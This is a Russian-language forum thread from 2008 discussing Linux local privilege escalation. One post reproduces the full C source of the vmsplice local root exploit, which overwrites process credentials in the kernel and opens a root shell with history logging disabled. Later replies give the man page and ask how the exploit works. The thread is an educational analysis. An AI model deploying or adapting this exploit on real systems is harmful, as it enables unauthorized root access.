|
reincarnation
|
|
knight
|
|
|
|
|
|
|
Рег.: 12.09.2006
|
|
Сообщений: 719
|
|
|
|
Рейтинг: 666
|
|
Re: linux local root exploits
[re: Idle]
12.02.2008 14:03
|
|
|
В сегодняшнем обновлении Debian закрыли.
|
|
|
alepar
|
|
|
|
|
|
|
|
|
Рег.: 18.02.2004
|
|
Сообщений: 9216
|
|
|
|
Рейтинг: 3643
|
|
|
серверная убунту 7.10 первый икспло по-прежнему работает обновлений нету =(
95 дней аптайма пошли прахом =)
|
Whatever you do in life will be insignificant, but it's very important that you do it. |
|
|
Idle
|
|
+++
|
|
|
|
|
|
|
Рег.: 30.11.2002
|
|
Сообщений: 7806
|
|
|
|
Рейтинг: 1198
|
|
Re: linux local root exploits
[re: alepar]
12.02.2008 15:15
|
|
|
|
|
|
Idle
|
|
+++
|
|
|
|
|
|
|
Рег.: 30.11.2002
|
|
Сообщений: 7806
|
|
|
|
Рейтинг: 1198
|
|
Re: linux local root exploits
[re: alepar]
12.02.2008 15:18
|
|
|
|
|
|
Leo
|
|
|
|
|
|
|
|
|
Рег.: 06.12.2002
|
|
Сообщений: 4547
|
|
Из: 51.5252 N, 0.1322 W
|
|
Рейтинг: 548
|
|
Re: linux local root exploits
[re: alepar]
12.02.2008 15:20
|
|
|
Quote:
95 дней аптайма пошли прахом =)
вот жалко пацана!
|
// Leo |
|
gadfather
|
|
Carpal Tunnel
|
|
|
|
|
|
|
Рег.: 05.11.2003
|
|
Сообщений: 47302
|
|
Из: пл. Гагарина
|
|
Рейтинг: 16960
|
|
Re: linux local root exploits
[re: glebius]
15.02.2008 21:59
|
|
|
> Прикольно, насколько разная реакция общественности на очередной local root сегодня и лет 5-7 назад.
Ну уж за 5 лет можно понять, что линукс говно.
|
You can't always get what you want |
|
|
maratrus
|
|
old hand
|
|
|
|
|
|
|
Рег.: 06.01.2007
|
|
Сообщений: 780
|
|
|
|
Рейтинг: 331
|
|
Re: linux local root exploits
[re: Idle]
15.02.2008 22:59
|
|
|
Может, кто разбирался с exploit'ом? Объясните, пожалуйста, в чем дело? На чем этот exploit "сыграл"? Ответом: "Нужно проверять параметры, пришедшие из userspace" удовлетворен не буду! Вроде, понял весь юзерспейсный код (который ниже), но только дословно, а не сам смысл; зачем мапят несколько раз, а потом еще munmap... В общем, буду благодарен за любую помощь! Попусту ссылки на сырцы ядра просьба не кидать В ответ на:
/* * jessica_biel_naked_in_my_bed.c * * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura. * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca. * Stejnak je to stare jak cyp a aj jakesyk rozbite. * * Linux vmsplice Local Root Exploit * By qaaz * * Linux 2.6.17 - 2.6.24.1 * * This is quite old code and I had to rewrite it to even compile. * It should work well, but I don't remeber original intent of all * the code, so I'm not 100% sure about it. You've been warned  * * -static -Wno-format */ #define _GNU_SOURCE #include <stdio.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <malloc.h> #include <limits.h> #include <signal.h> #include <unistd.h> #include <sys/uio.h> #include <sys/mman.h> #include <asm/page.h> #define __KERNEL__ #include <asm/unistd.h>
#define PIPE_BUFFERS 16 #define PG_compound 14 #define uint unsigned int #define static_inline static inline __attribute__((always_inline)) #define STACK(x) (x + sizeof(x) - 40)
struct page { unsigned long flags; int count; int mapcount; unsigned long private; void *mapping; unsigned long index; struct { long next, prev; } lru; };
void exit_code(); char exit_stack[1024 * 1024];
void die(char *msg, int err) { printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1); }
#if defined (__i386__)
#ifndef __NR_vmsplice #define __NR_vmsplice 316 #endif
#define USER_CS 0x73 #define USER_SS 0x7b #define USER_FL 0x246
static_inline void exit_kernel() { __asm__ __volatile__ ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); }
static_inline void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr; }
#elif defined (__x86_64__)
#ifndef __NR_vmsplice #define __NR_vmsplice 278 #endif
#define USER_CS 0x23 #define USER_SS 0x2b #define USER_FL 0x246
static_inline void exit_kernel() { __asm__ __volatile__ ( "swapgs ;" "movq %0, 0x20(%%rsp) ;" "movq %1, 0x18(%%rsp) ;" "movq %2, 0x10(%%rsp) ;" "movq %3, 0x08(%%rsp) ;" "movq %4, 0x00(%%rsp) ;" "iretq" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); }
static_inline void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movq %%gs:(0), %0" : "=r" (curr) ); return (void *) curr; }
#else #error "unsupported arch" #endif
#if defined (_syscall4) #define __NR__vmsplice __NR_vmsplice _syscall4( long, _vmsplice, int, fd, struct iovec *, iov, unsigned long, nr_segs, unsigned int, flags)
#else #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) #endif
static uint uid, gid;
void kernel_code() { int i; uint *p = get_current();
for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; }
exit_kernel(); }
void exit_code() { if (getuid() != 0) die("wtf", 0);
printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); }
int main(int argc, char *argv[]) { int pi[2]; size_t map_size; char * map_addr; struct iovec iov; struct page * pages[5];
uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid);
printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n");
if (!uid || !gid) die("!@#$", 0);
/*****/ pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; pages[1] = pages[0] + 1;
map_size = PAGE_SIZE; map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno);
memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[0]); printf("[+] page: 0x%lx\n", pages[1]);
pages[0]->flags = 1 << PG_compound; pages[0]->private = (unsigned long) pages[0]; pages[0]->count = 1; pages[1]->lru.next = (long) kernel_code;
/*****/ pages[2] = *(void **) pages[0]; pages[3] = pages[2] + 1;
map_size = PAGE_SIZE; map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno);
memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[2]); printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 << PG_compound; pages[2]->private = (unsigned long) pages[2]; pages[2]->count = 1; pages[3]->lru.next = (long) kernel_code;
/*****/ pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; map_size = PAGE_SIZE; map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[4]);
/*****/ map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno);
memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/ map_size -= 2 * PAGE_SIZE; if (munmap(map_addr + map_size, PAGE_SIZE) < 0) die("munmap", errno);
/*****/ if (pipe(pi) < 0) die("pipe", errno); close(pi[0]);
iov.iov_base = map_addr; iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code); _vmsplice(pi[1], &iov, 1, 0); die("vmsplice", errno); return 0; }
|
|
|
maratrus
|
|
old hand
|
|
|
|
|
|
|
Рег.: 06.01.2007
|
|
Сообщений: 780
|
|
|
|
Рейтинг: 331
|
|
Re: linux local root exploits
[re: maratrus]
15.02.2008 23:26
|
|
|
Новерное, я не правильно выразился. Я понимаю, что kernel не проверил параметры, пришедшие из userspace, но не понимаю ЧТО сделал exploit и что такого сделал vmsplice? Как ему удалось подсунуть свою kernel_code()? Да, и еще, поясните пожалуйста man страницу vmsplice, что он должен сделать. Заранее благодарю!
|
|
|
maratrus
|
|
old hand
|
|
|
|
|
|
|
Рег.: 06.01.2007
|
|
Сообщений: 780
|
|
|
|
Рейтинг: 331
|
|
Re: linux local root exploits
[re: maratrus]
16.02.2008 01:03
|
|
|
|
|
|
Leo
|
|
|
|
|
|
|
|
|
Рег.: 06.12.2002
|
|
Сообщений: 4547
|
|
Из: 51.5252 N, 0.1322 W
|
|
Рейтинг: 548
|
|
Re: linux local root exploits
[re: maratrus]
16.02.2008 01:09
|
|
|
|
|
|
maratrus
|
|
old hand
|
|
|
|
|
|
|
Рег.: 06.01.2007
|
|
Сообщений: 780
|
|
|
|
Рейтинг: 331
|
|
Re: linux local root exploits
[re: Leo]
16.02.2008 01:20
|
|
|
Еще не читал, так что пока СПАСИБО заранее.
P.S. Так как еще не читал, можешь пояснить значение параметра nr_regs (под рукой Винда, поэтому не помню как он в man'е называется) в сисколе vmsplice ?
|
|
|
Leo
|
|
|
|
|
|
|
|
|
Рег.: 06.12.2002
|
|
Сообщений: 4547
|
|
Из: 51.5252 N, 0.1322 W
|
|
Рейтинг: 548
|
|
Re: linux local root exploits
[re: maratrus]
16.02.2008 10:43
|
|
|
code:
VMSPLICE(2) Linux Programmer's Manual VMSPLICE(2)
NAME
vmsplice - splice user pages into a pipe
SYNOPSIS
#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/uio.h>
long vmsplice(int fd, const struct iovec *iov,
unsigned long nr_segs, unsigned int flags);
DESCRIPTION
The vmsplice() system call maps nr_segs ranges of user memory described
by iov into a pipe. The file descriptor fd must refer to a pipe.
The pointer iov points to an array of iovec structures as defined in
<sys/uio.h>:
struct iovec {
void *iov_base; /* Starting address */
size_t iov_len; /* Number of bytes */
};
The flags argument is a bit mask that is composed by ORing together
zero or more of the following values:
SPLICE_F_MOVE Unused for vmsplice(); see splice(2).
SPLICE_F_NONBLOCK Do not block on I/O; see splice(2) for further
details.
SPLICE_F_MORE Currently has no effect for vmsplice(), but may be
implemented in the future; see splice(2).
SPLICE_F_GIFT The user pages are a gift to the kernel. The appli-
cation may not modify this memory ever, or page
cache and on-disk data may differ. Gifting pages to
the kernel means that a subsequent splice(2)
SPLICE_F_MOVE can successfully move the pages; if
this flag is not specified, then a subsequent
splice(2) SPLICE_F_MOVE must copy the pages. Data
must also be properly page aligned, both in memory
and length.
RETURN VALUE
Upon successful completion, vmsplice() returns the number of bytes
transferred to the pipe. On error, vmsplice() returns -1 and errno is
set to indicate the error.
ERRORS
EBADF fd either not valid, or doesn't refer to a pipe.
EINVAL nr_segs is 0 or greater than IOV_MAX; or memory not aligned if
SPLICE_F_GIFT set.
ENOMEM Out of memory.
VERSIONS
The vmsplice(2) system call first appeared in Linux 2.6.17.
CONFORMING TO
This system call is Linux specific.
NOTES
vmsplice() follows the other vectorized read/write type functions when
it comes to limitations on number of segments being passed in. This
limit is IOV_MAX as defined in <limits.h>. At the time of this writ-
ing, that limit is 1024.
SEE ALSO
splice(2), tee(2), feature_test_macros(7)
Linux 2006-04-28 VMSPLICE(2)
|
// Leo |
|
|
Noord
|
|
cardinal direction
|
|
|
|
|
|
|
Рег.: 25.11.2006
|
|
Сообщений: 6581
|
|
|
|
Рейтинг: 9250
|
|
Re: linux local root exploits
[re: Leo]
16.02.2008 10:57
|
|
|
|
|
|
maratrus
|
|
old hand
|
|
|
|
|
|
|
Рег.: 06.01.2007
|
|
Сообщений: 780
|
|
|
|
Рейтинг: 331
|
|
Re: linux local root exploits
[re: Leo]
16.02.2008 13:55
|
|
|
Это я уже сто раз читал. Правильно ли я понимаю, что nr_segs число элементов в массиве iov?
|
|
|
Idle
|
|
+++
|
|
|
|
|
|
|
Рег.: 30.11.2002
|
|
Сообщений: 7806
|
|
|
|
Рейтинг: 1198
|
|
Re: linux local root exploits
[re: maratrus]
16.02.2008 14:29
|
|
|
ага
code: static inline size_t iov_length(const struct iovec *iov, unsigned long nr_segs)
{
unsigned long seg;
size_t ret = 0;
for (seg = 0; seg < nr_segs; seg++)
ret += iov[seg].iov_len;
return ret;
}
|
|
|
maratrus
|
|
old hand
|
|
|
|
|
|
|
Рег.: 06.01.2007
|
|
Сообщений: 780
|
|
|
|
Рейтинг: 331
|
|
Re: linux local root exploits
[re: Idle]
16.02.2008 15:25
|
|
|
Leo + Idle - большое спасибо!
Не знаю, как поставить плюсы
|
|
|
maratrus
|
|
old hand
|
|
|
|
|
|
|
Рег.: 06.01.2007
|
|
Сообщений: 780
|
|
|
|
Рейтинг: 331
|
|
Re: linux local root exploits
[re: Leo]
18.02.2008 20:52
|
|
|
OK, я прочел http://lwn.net/SubscriberLink/268783/6928eb6921800e25/ http://lwn.net/Articles/269532/ Я понял, почему происходит overflow. Далее, как я понял, "кранты нам приходят" в функции splice_to_pipe (), а именно когда в ней мы вызываем page_cache_release(). Но я никак не могу понять как мы подсовываем нужный код в ядро?! Правильно ли я понимаю, что get_user_pages() в функции get_iovec_page_array() позволяет нам переполнить массив pages[], при этом все элементы этого массива соответсвуют только последнему map в userspace'ном exploit'е? Зачем мы тогда маппим в exploit'е несколько раз (плюс выставляем флаги на страницу 1 << PG_compound)? Буду очень признателен за любую помощь!
|
|
|
maratrus
|
|
old hand
|
|
|
|
|
|
|
Рег.: 06.01.2007
|
|
Сообщений: 780
|
|
|
|
Рейтинг: 331
|
|
Re: linux local root exploits
[re: maratrus]
19.02.2008 00:32
|
|
|
|
|
|
Leo
|
|
|
|
|
|
|
|
|
Рег.: 06.12.2002
|
|
Сообщений: 4547
|
|
Из: 51.5252 N, 0.1322 W
|
|
Рейтинг: 548
|
|
Re: linux local root exploits
[re: maratrus]
19.02.2008 00:33
|
|
|
анакуя тебе это все?
|
// Leo |
|
|
maratrus
|
|
old hand
|
|
|
|
|
|
|
Рег.: 06.01.2007
|
|
Сообщений: 780
|
|
|
|
Рейтинг: 331
|
|
Re: linux local root exploits
[re: Leo]
19.02.2008 00:37
|
|
|
Я просто решил разобраться в этом вопросе до конца. Хочется немного улучшить свои знания по kernel Linux. Наверное, глубокого смысла в этом нет. Очень понравился хак с overflow в этом случае.
Мне б хотя бы намекнуть, я попробую дальше сам.
|
|
|
|